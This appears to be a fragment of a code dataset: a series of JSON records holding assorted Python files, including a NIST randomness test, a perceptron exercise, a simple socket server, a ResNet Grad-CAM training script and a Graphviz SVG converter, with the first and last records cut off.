meta_data\n self.latitude = meta_data[\"geometry\"][\"coordinates\"][1]\n self.longitude = meta_data[\"geometry\"][\"coordinates\"][0]\n self.id = meta_data[\"pano_id\"]\n\n def fp_from_meta(self, meta_data):\n \" Generate the meta and picture filenames. \"\n self.pano_url = meta_data[\"equirectangular_url\"]\n self.filename = \"panorama.jpg\"\n self.panorama_fp = os.path.join(self.data_dir, self.filename)\n self.meta_fp = _meta_fp(self.panorama_fp)\n if not os.path.exists(self.panorama_fp):\n urllib.request.urlretrieve(self.pano_url, self.panorama_fp)\n\n def seg_run(self, model, show=False):\n \" Do segmentation analysis on the picture. \"\n seg_res = model.run(self.panorama_fp)\n return seg_res\n","sub_path":"API/adam_panorama.py","file_name":"adam_panorama.py","file_ext":"py","file_size_in_byte":1594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"376656950","text":"# William Leighton Dawson\n# Center for Cyber Security\n# New York University - Abu Dhabi\n# Implementation of the NIST Randomness Test Suite\n# 4. Test for the Longest-Run-of-Ones in a Block\n\nfrom helpers import LengthError, split_list, longest_run, pi_i\nfrom cephes import igam as igamc\nfrom sys import stderr\n\n\ndef LongestRunOfOnes(e):\n ce = list(e)\n n = len(ce)\n run_test = True\n outstr = \"Test for the Longest Run of Ones in a Block:\\n\"\n outstr += \"n = %d\\n\" % n\n if n < 128:\n run_test = False\n else:\n if n >= 750000: # set constants & instantiate the v_i table\n M, K, N, iv = 10000, 6, 75, 10\n vt = {10: 0, 11: 0, 12: 0, 13: 0, 14: 0, 15: 0, 16: 0}\n elif n >= 6272:\n M, K, N, iv = 128, 5, 49, 4\n vt = {4: 0, 5: 0, 6: 0, 7: 0, 8: 0, 9: 0}\n else: # 128 <= n < 6272\n M, K, N, iv = 8, 3, 16, 1\n vt = {1: 0, 2: 0, 3: 0, 4: 0}\n ce = ce[:n - (n % M)] # discard bits that don't fit\n n = len(ce)\n block_list = split_list(ce, M) # list of M-bit blocks\n runs = []\n for block in block_list: # Tabulate freq.s of longest runs\n lr = longest_run(block)\n runs.append((block, lr))\n if lr in vt.keys():\n vt[lr] += 1\n elif lr < min(vt.keys()):\n vt[min(vt.keys())] += 1\n elif lr > max(vt.keys()):\n vt[max(vt.keys())] += 1\n pre_Chi2_l = []\n for i in xrange(K + 1):\n idx = iv + i\n num = pow((vt[idx] - N * pi_i[(K, M)][iv + i]), 2)\n den = float(N * pi_i[(K, M)][idx])\n pre_Chi2_l.append(num / den)\n Chi2_obs = sum(pre_Chi2_l)\n p = 1 - igamc(K / 2.0, Chi2_obs / 2.0)\n if n <= 256:\n outstr += \"Blocks (& longest runs):\"\n for i in xrange(len(runs)):\n (b, l) = runs[i]\n outstr += \" %s (%d)\\t\" % (\"\".join([str(c) for c in b]), l)\n if i % 2:\n outstr += '\\n'\n outstr += \"V_i values:\\n\"\n for i in sorted(vt.keys()):\n outstr += \" V_%d = %d\\n\" % (i - iv, vt[i])\n outstr += \"Chi2_obs = %.6f\\n\" % Chi2_obs\n outstr += \"P-value = %.6f\\n\" % p\n if not run_test:\n outstr += 'Test not run: pre-test condition not met: '\n outstr += 'n >= 128\\n'\n open(\"./test_results/LongestRunOfOnes.txt\", \"w\").write(outstr)\n if run_test:\n if p < 0.01:\n return False\n return True\n","sub_path":"tests/LongestRunOfOnes.py","file_name":"LongestRunOfOnes.py","file_ext":"py","file_size_in_byte":2538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"70468841","text":"#Importar los paquetes necesarios\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\n#declaracion de las variables a usar\nx1, y1, z1, x2, y2, z2 = [1], [-1], [-1], [1], [1], [-1]\n\n\n#Punto seleccionado para encontrar el corte con Y\ncorte = 0.5\n\n\n#Pesos recta \nw = [0.5, -1, -0.5]\n\n\n#Hallar el peso neto de la recta\ndef funcion_peso(p1,p2,p3,x1,y1,z1,c):\n return (p1*x1)+(p2*y1)+(p3*z1)+c\n\n\n#Parejas ordenadas (entradas)\npareja_x = [1,1]\npareja_y = [-1,1]\npareja_z = [-1,-1]\n\n#Ns neto de la recta\nn1 = funcion_peso(w[0],w[1],w[2],pareja_x[0],pareja_y[0],pareja_z[0],corte)\nn2 = funcion_peso(w[0],w[1],w[2],pareja_x[1],pareja_y[1],pareja_z[1],corte)\n\n\n#Funcion de activación\ndef fucion_activacion(v):\n if v < 0:\n return -1\n else:\n return 1\n\n\n#Activacion para los Ns de la recta (1)\na1 = fucion_activacion(n1)\na2 = fucion_activacion(n2)\n\n\n#Vector de salidas\nsalidas = [0, 1]\n\n\n#Calcular el error recta\ne1 = salidas[0]-a1\ne2 = salidas[1]-a2\n\n\nprint(\"Resultado recta\")\nprint(\"Entradas 1=\",x1,y1,z1, \"2=\",x2,y2,z2)\nprint(\"Punto de corte con Y=\",corte)\nprint(\"Pesos =\",w[0],w[1],w[2])\nprint(\"Errores: 1=\",e1,\" 2=\", e2)","sub_path":"Inteligencia artificial y Python/Puntos Perceptron/punto_10.py","file_name":"punto_10.py","file_ext":"py","file_size_in_byte":1136,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"629945111","text":"#coding:utf-8\n# iTaiwan中央行政機關室內公共區域免費無線上網熱點查詢服務\nimport json \nimport re\nf = open(\"C:\\\\Users\\\\user\\\\Desktop\\\\wifi_info.json\", \"r\",encoding=\"utf-8\")\n# print(f.read()[:100]) \nformat=json.loads(f.read())\n# print(len(format))\nfor i in range(len(format)):\n r=re.findall(r\"^[台臺]中.*\",format[i]['NAME'])\n if r!=[]:\n print(format[i])\n # print(format[i]['NAME'],format[i]['LATITUDE'],format[i]['LONGITUDE'])\n\n\n\n# r=re.findall(r\"^[台臺]中[^嘉義]\",\"臺中榮總嘉義分院門診部門診大樓2F候診區\")\n# print(r)","sub_path":"testing.py","file_name":"testing.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"454964182","text":"import socket\nimport threading\n\nHEADER = 64\nPORT = 5050\nSERVER = socket.gethostbyname(socket.gethostname())\n# [TRANSFER TO NOTES]\n# $ ipconfig getifaddr en0\n# 192.168.1.10\n\n# whatismyip.com\n# public ip address: 173.73.25.243\n\nADDR = (SERVER, PORT)\nFORMAT = \"utf-8\"\nDISCONNECT_MESSAGE = \"!DISCONNECT\"\n\nserver = socket.socket(socket.AF_INET)\nserver.bind(ADDR)\n\n\ndef handle_client(conn, addr):\n print(f\"[NEW CONNECTION] {addr} connected\")\n\n connected = True\n while connected:\n msg_length = conn.recv(HEADER).decode(FORMAT)\n if msg_length:\n msg_length = int(msg_length)\n\n msg = conn.recv(msg_length).decode(FORMAT)\n if msg == DISCONNECT_MESSAGE:\n connected = False\n \n print(f\"[{addr}] {msg}\")\n conn.send(\"Message recieved\".encode(FORMAT))\n\n conn.close()\n\ndef start():\n server.listen()\n print(f\"[LISTENING] SERVER is listening on {SERVER}\")\n while True:\n conn, addr = server.accept()\n thread = threading.Thread(target=handle_client, args=(conn,addr))\n thread.start()\n print(f\"[ACTIVE CONNECTIONS] {threading.activeCount()-1}\")\n\nprint(\"[STARING] server is starting\")\nstart()","sub_path":"sockets/basic client-server/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"454626888","text":"import os\nimport time\n\nimport numpy as np\nimport pandas as pd\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.utils.data import DataLoader\n\nfrom torchvision import datasets\nfrom torchvision import transforms\nfrom torchvision import models\n\nimport matplotlib.pyplot as plt\nfrom PIL import Image\nfrom gradcam import GradCam\n\nfrom torch.utils.tensorboard import SummaryWriter\n\n\n##########################\n### SETTINGS\n##########################\n\n# Hyperparameters\nRANDOM_SEED = 1\nLEARNING_RATE = 0.001\nBATCH_SIZE = 128\nNUM_EPOCHS = 10\n\n# Architecture\nNUM_FEATURES = 28*28\nNUM_CLASSES = 10\n\n# Other\nDEVICE = \"cuda:0\"\nGRAYSCALE = True\n\n##########################\n### MNIST DATASET\n##########################\n\ndata_transform = transforms.Compose([ transforms.Resize((224, 224)),\n transforms.ToTensor()])\n\n\n# Note transforms.ToTensor() scales input images\n# to 0-1 range\ntrain_dataset = datasets.MNIST(root='./data', \n train=True, \n transform=data_transform,\n download=False)\n\ntest_dataset = datasets.MNIST(root='./data', \n train=False, \n transform=data_transform)\n\n\ntrain_loader = DataLoader(dataset=train_dataset, \n batch_size=BATCH_SIZE, \n shuffle=True)\n\ntest_loader = DataLoader(dataset=test_dataset, \n batch_size=BATCH_SIZE, \n shuffle=False)\n\n\n##########################\n### MODEL\n##########################\n\n\ndef conv3x3(in_planes, out_planes, stride=1):\n \"\"\"3x3 convolution with padding\"\"\"\n return nn.Conv2d(in_planes, out_planes, kernel_size=3, stride=stride,\n padding=1, bias=False)\n\n\nclass BasicBlock(nn.Module):\n expansion = 1\n\n def __init__(self, inplanes, planes, stride=1, downsample=None):\n super(BasicBlock, self).__init__()\n self.conv1 = conv3x3(inplanes, planes, stride)\n self.bn1 = nn.BatchNorm2d(planes)\n self.relu = nn.ReLU(inplace=True)\n self.conv2 = conv3x3(planes, planes)\n self.bn2 = nn.BatchNorm2d(planes)\n self.downsample = downsample\n self.stride = stride\n\n def forward(self, x):\n residual = x\n\n out = self.conv1(x)\n out = self.bn1(out)\n out = self.relu(out)\n\n out = self.conv2(out)\n out = self.bn2(out)\n\n if self.downsample is not None:\n residual = self.downsample(x)\n\n out += residual\n out = self.relu(out)\n\n return out\n\n\nclass ResNet(nn.Module):\n\n def __init__(self, block, layers, num_classes, grayscale):\n self.inplanes = 64\n if grayscale:\n in_dim = 1\n else:\n in_dim = 3\n super(ResNet, self).__init__()\n self.conv1 = nn.Conv2d(in_dim, 64, kernel_size=7, stride=2, padding=3,\n bias=False)\n self.bn1 = nn.BatchNorm2d(64)\n self.relu = nn.ReLU(inplace=True)\n self.maxpool = nn.MaxPool2d(kernel_size=3, stride=2, padding=1)\n self.layer1 = self._make_layer(block, 64, layers[0])\n self.layer2 = self._make_layer(block, 128, layers[1], stride=2)\n self.layer3 = self._make_layer(block, 256, layers[2], stride=2)\n self.layer4 = self._make_layer(block, 512, layers[3], stride=2)\n self.avgpool = nn.AvgPool2d(7, stride=1)\n self.fc = nn.Linear(512 * block.expansion, num_classes)\n\n for m in self.modules():\n if isinstance(m, nn.Conv2d):\n n = m.kernel_size[0] * m.kernel_size[1] * m.out_channels\n m.weight.data.normal_(0, (2. / n)**.5)\n elif isinstance(m, nn.BatchNorm2d):\n m.weight.data.fill_(1)\n m.bias.data.zero_()\n\n def _make_layer(self, block, planes, blocks, stride=1):\n downsample = None\n if stride != 1 or self.inplanes != planes * block.expansion:\n downsample = nn.Sequential(\n nn.Conv2d(self.inplanes, planes * block.expansion,\n kernel_size=1, stride=stride, bias=False),\n nn.BatchNorm2d(planes * block.expansion),\n )\n\n layers = []\n layers.append(block(self.inplanes, planes, stride, downsample))\n self.inplanes = planes * block.expansion\n for i in range(1, blocks):\n layers.append(block(self.inplanes, planes))\n\n return nn.Sequential(*layers)\n\n def forward(self, x):\n x = self.conv1(x)\n x = self.bn1(x)\n x = self.relu(x)\n x = self.maxpool(x)\n\n x = self.layer1(x)\n x = self.layer2(x)\n x = self.layer3(x)\n x = self.layer4(x)\n # because MNIST is already 1x1 here:\n # disable avg pooling\n x = self.avgpool(x)\n \n x = x.view(x.size(0), -1)\n logits = self.fc(x)\n probas = F.softmax(logits, dim=1)\n return logits, probas\n\n\n\ndef resnet18(num_classes):\n \"\"\"Constructs a ResNet-18 model.\"\"\"\n model = ResNet(block=BasicBlock, \n layers=[2, 2, 2, 2],\n num_classes=NUM_CLASSES,\n grayscale=GRAYSCALE)\n return model\n\n\n#torch.manual_seed(RANDOM_SEED)\n\nmodel = resnet18(NUM_CLASSES)\nfreeze = True\nif freeze:\n ct = 0\n for child in model.children():\n ct += 1\n if ct < 10: # Freeze 1-9 layers\n for param in child.parameters():\n param.requires_grad = False\n print('Freezed layers!')\n\n for param in model.layer4[1].conv2.parameters():\n param.requires_grad = True\nmodel.to(DEVICE)\n\noptimizer = torch.optim.Adam(model.parameters(), lr=LEARNING_RATE)\n\ngrad_cam= GradCam(model=model, feature_module=model.layer4, \\\n target_layer_names=[\"1\"], use_cuda=True)\n\nsigmoid = nn.Sigmoid()\nbce = nn.BCELoss()\n\n\ndef compute_accuracy(model, data_loader, device):\n correct_pred, num_examples = 0, 0\n for i, (features, targets) in enumerate(data_loader):\n \n features = features.to(device)\n targets = targets.to(device)\n\n logits, probas = model(features)\n _, predicted_labels = torch.max(probas, 1)\n num_examples += targets.size(0)\n correct_pred += (predicted_labels == targets).sum()\n return correct_pred.float()/num_examples * 100\n\ndef process_explanations_train(expl, n_batches):\n tmp_list = []\n for _ in range(n_batches):\n tmp_list.append(torch.from_numpy(expl/255))\n list_of_tensors = torch.stack(tmp_list).double()\n return list_of_tensors\n\n\ndef calculate_measures(gts, masks):\n final_prec = 0\n final_rec = 0\n final_corr = 0\n\n for mask, gt in zip(masks, gts): \n precision = np.sum(gt*mask) / (np.sum(gt*mask) + np.sum((1-gt)*mask)) \n final_prec = final_prec + precision\n\n recall = np.sum(gt*mask) / (np.sum(gt*mask) + np.sum(gt*(1-mask)))\n final_rec = final_rec + recall \n\n correlation = (1 / (gt.shape[0]*gt.shape[1])) * np.sum(gt*mask)\n final_corr = final_corr + correlation\n\n return final_prec, final_rec, final_corr\n \n\nstart_time = time.time()\nwriter = SummaryWriter(\"./runs/\")\nfor epoch in range(NUM_EPOCHS):\n \n model.train()\n for batch_idx, (features, targets) in enumerate(train_loader):\n \n masks = grad_cam(features, training=True)\n explanation = np.load('./spiegazione_7.npy')\n list_of_expl_tensors = process_explanations_train(explanation, masks.shape[0])\n loss_gradcam = bce(masks, list_of_expl_tensors) \n sigm_loss_gradcam = (2*sigmoid(loss_gradcam))-1\n\n optimizer.zero_grad()\n sigm_loss_gradcam.backward()\n optimizer.step() \n\n nump_masks = masks.cpu().detach().numpy()\n list_of_expl_npy = list_of_expl_tensors.cpu().detach().numpy()\n prec, rec, corr = calculate_measures(list_of_expl_npy, nump_masks)\n\n prec = prec / BATCH_SIZE\n rec = rec / BATCH_SIZE\n corr = corr / BATCH_SIZE\n\n\n if (batch_idx+1) % 50 == 0:\n writer.add_scalar(\"Training: Loss Gradcam\", sigm_loss_gradcam.item(), str(epoch + 1)+'_'+str(batch_idx+1))\n writer.add_scalar(\"Training: Precision\", prec, str(epoch + 1)+'_'+str(batch_idx+1))\n writer.add_scalar(\"Training: Recall\", rec, str(epoch + 1)+'_'+str(batch_idx+1))\n writer.add_scalar(\"Training: Correlation\", corr, str(epoch + 1)+'_'+str(batch_idx+1)) \n \n ### LOGGING\n if not (batch_idx+1) % 50:\n print ('Epoch: %03d/%03d | Batch %04d/%04d | Cost: %.4f' \n %(epoch+1, NUM_EPOCHS, (batch_idx+1), \n len(train_loader), sigm_loss_gradcam))\n\n if (epoch+1) % 2 == 0:\n model.eval()\n for i, (images, labels) in enumerate(test_loader):\n masks = grad_cam(images, training=True)\n explanation = np.load('./spiegazione_7.npy')\n list_of_expl_tensors = process_explanations_train(explanation, masks.shape[0])\n loss_gradcam = criterion_2(masks, list_of_expl_tensors) \n sigm_loss_gradcam = (2*sigmoid(loss_gradcam))-1\n\n nump_masks = masks.cpu().detach().numpy()\n list_of_expl_npy = list_of_expl_tensors.cpu().detach().numpy()\n prec, rec, corr = calculate_measures(list_of_expl_npy, nump_masks)\n\n prec = prec / BATCH_SIZE\n rec = rec / BATCH_SIZE\n corr = corr / BATCH_SIZE\n\n if (i+1) % 11 == 0:\n writer.add_scalar(\"Evaluation: Loss Gradcam\", sigm_loss_gradcam.item(), str(epoch + 1)+'_'+str(i+1))\n writer.add_scalar(\"Evaluation: Precision\", prec, str(epoch + 1)+'_'+str(i+1))\n writer.add_scalar(\"Evaluation: Recall\", rec, str(epoch + 1)+'_'+str(i+1))\n writer.add_scalar(\"Evaluation: Correlation\", corr, str(epoch + 1)+'_'+str(i+1)) \n \n print('Time elapsed: %.2f min' % ((time.time() - start_time)/60))\n \nprint('Total Training Time: %.2f min' % ((time.time() - start_time)/60))","sub_path":"resnet_mnist.py","file_name":"resnet_mnist.py","file_ext":"py","file_size_in_byte":10166,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"503712","text":"# Write a class Student. Every student should have a name, student number and a list of marks\n# (implemented as a python list) Include any appropriate methods, and a method to calculate the average mar\n\nclass Student:\n def __init__(self, name, number, marks):\n self.name = name\n self.number = number\n self.marks = marks\n def average_mark(self):\n total = 0\n for mark in self.marks:\n total += mark\n return total / len(self.marks)\n\n def compare_mark(self, comparison):\n if self.average_mark() > comparison.average_mark():\n return(\"{} has better marks\".format(self.name))\n else:\n return(\"{} has better marks\".format(comparison.name))\n\ns1 = Student('Kevin', 53, [90, 50, 60])\ns2 = Student('Mick', 54, [80, 34, 150])\n\nprint(\"{}'s marks: \".format(s1.name), s1.marks, \"\\nAverage:\", round(s1.average_mark(), 2))\nprint(\"{}'s marks: \".format(s2.name), s2.marks, \"\\nAverage:\", round(s2.average_mark(), 2))\n\nprint(s1.compare_mark(s2))","sub_path":"S2/Lecture 2-3/Advanced.py","file_name":"Advanced.py","file_ext":"py","file_size_in_byte":1019,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"593425965","text":"\nx = input('Введите действительно число: ')\ny = input('Введите отрицательное число: ')\n\ntry:\n x = float(x)\n y = int(y)\n \nexcept ValueError:\n x = int(x)\n y = float(y)\n\n\n# вариант с **\n\ndef my_func(artorius, drevn):\n if type(artorius) == float:\n drevn = abs(drevn)\n l = int(artorius ** drevn)\n else:\n artorius = abs(artorius)\n l = int(drevn ** artorius)\n return l\n\nprint(f'Ответ с **: {my_func(x, y)}')\n\n# вариант БЕЗ **\ndef my_func(artorius, drevn):\n if type(artorius) == float:\n art_step = artorius\n drevn = abs(drevn)\n for s in range(1, drevn, 1):\n artorius *= art_step\n l = int(artorius)\n else:\n dre_step = drevn\n artorius = abs(artorius)\n for s in range(1, artorius, 1):\n drevn *= dre_step\n l = int(drevn)\n return l\n\nprint(f'Ответ варианта БЕЗ **: {my_func(x, y)}')\n \n ","sub_path":"dz_3/zadacha_3_4.py","file_name":"zadacha_3_4.py","file_ext":"py","file_size_in_byte":1007,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"411843425","text":"\"\"\"\n给定字符串 s 和 t ,判断 s 是否为 t 的子序列。\n\n你可以认为 s 和 t 中仅包含英文小写字母。字符串 t 可能会很长(长度 ~= 500,000),而 s 是个短字符串(长度 <=100)。\n\n字符串的一个子序列是原始字符串删除一些(也可以不删除)字符而不改变剩余字符相对位置形成的新字符串。(例如,\"ace\"是\"abcde\"的一个子序列,而\"aec\"不是)。\n示例 1:\ns = \"abc\", t = \"ahbgdc\"\n\n返回 true.\n\n示例 2:\ns = \"axc\", t = \"ahbgdc\"\n\n返回 false.\n\"\"\"\nclass Solution(object):\n def isSubsequence(self, s, t):\n \"\"\"\n :type s: str\n :type t: str\n :rtype: bool\n \"\"\"\n index=-1\n for c in s:\n try:\n index=t.index(c,index+1)\n except:\n index=-1\n if index==-1:\n return False\n return True\n\ndef main():\n s=\"acb\"\n t=\"ahbgdc\"\n S=Solution()\n print(S.isSubsequence(s,t))\n\nif __name__ == '__main__':\n main() ","sub_path":"practice/leetcode/贪心/isSubsequence.py","file_name":"isSubsequence.py","file_ext":"py","file_size_in_byte":1036,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"549030947","text":"\"\"\"\n==============================================================================\nNiceplots default formatting\n==============================================================================\n@File : default_formatting.py\n@Date : 2021/02/04\n@Author : Alasdair Gray\n@Description : A short example to demonstrate the use of niceplots default plot formatting and compre it to matplotlib defaults\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport niceplots\n\n\n# This function computes the displacement history of an undamped oscilator subjec to to a force pulse of length tp\ndef MSPulseResponse(t, tp, omega):\n x = np.where(\n t < tp,\n 1.0 - np.cos(omega * t),\n (np.cos(omega * tp) - 1.0) * np.cos(omega * t) + np.sin(omega * tp) * np.sin(omega * t),\n )\n return x\n\n\nm = 1.0\nk = 100.0\nomega = np.sqrt(k / m)\nt = np.linspace(0, 3.0, 1001)\nTP = [0.5, 0.8, 1.2, 1.6, 2.0]\n\nfor formatting in [\"default\", \"niceplots\"]:\n if formatting == \"niceplots\":\n niceplots.setRCParams()\n colors = plt.rcParams[\"axes.prop_cycle\"].by_key()[\"color\"]\n\n fig, axes = plt.subplots(nrows=len(TP), figsize=(12, 16))\n\n for i in range(len(TP)):\n tp = TP[i]\n ax = axes[i]\n x = MSPulseResponse(t, tp, omega)\n line = ax.plot(t, x, clip_on=False, color=colors[i])\n ax.vlines(tp, -3, 1.0 - np.cos(omega * tp), linestyle=\"--\", color=\"gray\", zorder=0)\n ax.set_xticks([0, tp, 3])\n if i == len(TP) - 1:\n ax.set_xlabel(\"t (s)\")\n ax.set_ylabel(r\"$\\frac{x(t)}{x_s}$\", ha=\"right\", rotation=\"horizontal\")\n ax.set_ylim(bottom=-2.0, top=2.0)\n if formatting == \"niceplots\":\n niceplots.adjust_spines(ax, outward=True)\n\n plt.savefig(f\"{formatting}PulseResponse.pdf\")\n plt.savefig(f\"{formatting}PulseResponse.png\", dpi=400)\n","sub_path":"examples/default_formatting.py","file_name":"default_formatting.py","file_ext":"py","file_size_in_byte":1841,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"406142998","text":"from enum import IntEnum\nclass Color(IntEnum):\n '''\n The Color class represents a side to move or the winner.\n '''\n NONE = 0\n X = 1\n O = -1\n\n def str(self):\n if self.value == 0:\n return '-'\n elif self.value == 1:\n return 'X'\n else:\n return 'O'","sub_path":"src/games/gomoku/color.py","file_name":"color.py","file_ext":"py","file_size_in_byte":322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"512438887","text":"import numpy as np\r\nimport itertools\r\n\r\nclass KFoldSplit(object):\r\n def __init__(self, folds):\r\n self._index = 0\r\n self._folds = folds\r\n\r\n def __iter__(self):\r\n return self\r\n\r\n def __next__(self):\r\n k = len(self._folds)\r\n if self._index < k:\r\n train_idx = []\r\n test_idx = []\r\n for i in range(k):\r\n if i == self._index:\r\n test_idx = self._folds[i]\r\n else:\r\n train_idx.append(self._folds[i])\r\n self._index = self._index + 1\r\n train_idx_flat = list(itertools.chain(*train_idx))\r\n return train_idx_flat, test_idx\r\n raise StopIteration\r\n\r\n\r\nclass CrossValidator(object):\r\n def __init__(self, n_splits=3, random_state=None, shuffle=None):\r\n self._n_splits = n_splits\r\n self._rnd = np.random.RandomState(random_state)\r\n self._shuffle = shuffle\r\n\r\n def split(self, X):\r\n n = X.shape[0]\r\n indices = np.arange(0, n)\r\n\r\n if self._shuffle:\r\n self._rnd.shuffle(indices)\r\n\r\n fold_size = int(np.round(n/self._n_splits))\r\n folds = []\r\n picked = 0\r\n for i in range(self._n_splits):\r\n if i == (self._n_splits - 1):\r\n fold = list(indices[picked:])\r\n else:\r\n fold = list(indices[picked:picked+fold_size])\r\n folds.append(fold)\r\n picked = picked + len(fold)\r\n if len(folds) != self._n_splits:\r\n raise OverflowError\r\n\r\n return KFoldSplit(folds)\r\n\r\nif __name__==\"__main__\":\r\n x = np.array([1, 2, 3, 4, 5, 6, 7, 8])\r\n val = CrossValidator(n_splits=3, shuffle=True)\r\n for train_idx, test_idx in val.split(x):\r\n print(\"Train\")\r\n print(train_idx)\r\n print(\"Selected\")\r\n print(np.take(x, train_idx))\r\n print(\"Test\")\r\n print(test_idx)\r\n print(\"Selected\")\r\n print(np.take(x, test_idx))\r\n print(\"\")\r\n","sub_path":"mlp/model_selection/cross_validation.py","file_name":"cross_validation.py","file_ext":"py","file_size_in_byte":2010,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"355430562","text":"import shelve\nimport os\n\n\ndef create_file(FILENAME):\n fileexists = False\n try:\n with shelve.open(FILENAME, \"n\") as data_file:\n fileexists = True\n print(\"Файл создан заново\")\n except IOError:\n print(\"Ошибка при открытии файла\")\n choose_next(FILENAME, fileexists)\n\n\ndef delete_file(FILENAME):\n if os.path.isfile(FILENAME + \".dat\"):\n os.remove(FILENAME + \".dat\")\n if os.path.isfile(FILENAME + \".bak\"):\n os.remove(FILENAME + \".bak\")\n if os.path.isfile(FILENAME + \".dir\"):\n os.remove(FILENAME + \".dir\")\n print(\"Файл удалён\")\n choose_next(FILENAME, False)\n\n\ndef append_data(FILENAME):\n try:\n with shelve.open(FILENAME) as data_file:\n print(\"Удаление данных, для завершения введите stop в качестве названия поля\")\n while (True):\n field_name = input(\"Введите название поля: \")\n if field_name == \"stop\":\n break\n field_value = input(\"Введите значение поля: \")\n try:\n data_file[field_name] = field_value\n except IOError:\n print(\"Ошибка при записи данных в файл\")\n except IOError:\n print(\"Ошибка при открытии файла\")\n choose_next(FILENAME, True)\n\n\ndef delete_data(FILENAME):\n try:\n with shelve.open(FILENAME) as data_file:\n print(\"Ввод или изменение данных, для завершения введите stop в качестве названия поля\")\n while (True):\n try:\n if not data_file:\n print(\"Файл пуст\")\n break\n field_name = input(\"Введите название поля: \")\n if field_name == \"stop\":\n break\n\n if field_name in data_file:\n del data_file[field_name]\n print(\"Поле \" + field_name + \" удалено\")\n else:\n print(\"Поле \" + field_name + \" отсутствует в файле\")\n except IOError:\n print(\"Ошибка при удалении данных в файл\")\n except IOError:\n print(\"Ошибка при открыт��и файла\")\n choose_next(FILENAME, True)\n\n\ndef read_file(FILENAME):\n try:\n with shelve.open(FILENAME) as data_file:\n try:\n if not data_file:\n print(\"Файл пуст\")\n for field in data_file.items():\n print(field[0] + \" : \" + field[1])\n except IOError:\n print(\"Ошибка при чтении данных из файла\")\n except IOError:\n print(\"Ошибка при открытии файла\")\n choose_next(FILENAME, True)\n\n\ndef input_comand(can_use):\n while (True):\n action = input()\n if action in can_use:\n return action\n else:\n print(\"Введено недопустимое значение. Повторите ввод\")\n\n\ndef choose_next(FILENAME, fileexist):\n actions = {\n \"1\": create_file,\n \"2\": delete_file,\n \"3\": append_data,\n \"4\": delete_data,\n \"5\": read_file,\n \"6\": get_filename,\n \"7\": exit_programm\n }\n\n print(\"Выберите следующие действие:\")\n if fileexist:\n print(\n \"1 - очистить файл, 2 - удалить файл, 3 - добавить или изменить данные, 4 - удалить данные, 5 - прочитать данные, 6 - указать новый путь к файлу, 7 - выйти из программы\")\n actions[input_comand(list(actions.keys()))](FILENAME)\n else:\n print(\"1 - создать файл, 6 - указать новый путь к файлу, 7 - выйти из программы\")\n actions[input_comand([\"1\", \"6\", \"7\"])](FILENAME)\n\n\ndef get_filename(*args):\n FILENAME = input(\"Введите путь к файлу (без расширения):\\n\")\n fileexist = False\n if os.path.isfile(FILENAME + \".dat\"):\n print(\"Файл найден\")\n fileexist = True\n else:\n print(\"Файл не найден\")\n choose_next(FILENAME, fileexist)\n\n\ndef exit_programm(*args):\n exit(0)\n\n\ndef main():\n get_filename()\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"Практические работы 2 семестр/отчёты отправленные по почте/ЗБ-ПИ1-1 Белоусов user_data.py","file_name":"ЗБ-ПИ1-1 Белоусов user_data.py","file_ext":"py","file_size_in_byte":4727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"555734892","text":"\n\n#calss header\nclass _BESMIRCH():\n\tdef __init__(self,): \n\t\tself.name = \"BESMIRCH\"\n\t\tself.definitions = [u\"to say bad things about someone to influence other people's opinion of them: \"]\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'verbs'\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/verbs/_besmirch.py","file_name":"_besmirch.py","file_ext":"py","file_size_in_byte":360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"495101259","text":"#!/usr/bin/python3\n\n# EVAL REGION BEGINS HERE: |# |\n# let g:My_eval_var = \"silent wa | MyRunShellCmd graphviz_svg_to_inkscape.py < /home/slava/my/src.dot.svg 1>/home/slava/my/out.svg\"\n# EVAL REGION ENDS HERE.\n\nfrom xml.dom import minidom\nimport sys\n\n# read input svg file from stdin (this is output from Graphviz):\nxml_root = minidom.parse(sys.stdin)\n\nnodes = {}\nedges = {}\nfor s in xml_root.getElementsByTagName('g'):\n # val4 = s.attributes['id'].value[:4]\n class_val = s.attributes['class'].value\n title = lambda el: el.getElementsByTagName('title')[0].firstChild.data\n node_value = lambda el: el.attributes['id'].nodeValue\n if class_val == \"graph\":\n graph = s\n elif class_val == \"node\":\n nodes[title(s)] = node_value(s)\n elif class_val == \"edge\":\n edges[node_value(s)] = title(s).split(\"->\")\n # Remove child \"polygon\", which is the GraphViz arrow marker.\n for thing in s.childNodes:\n if thing.nodeType == s.ELEMENT_NODE and thing.tagName == \"polygon\":\n s.removeChild(thing)\n break\n\n# To each edge path, add an Inkscape arrow marker in the attributes.\n# For each edge move edge path to graph level and delete the edge.\nfor s in 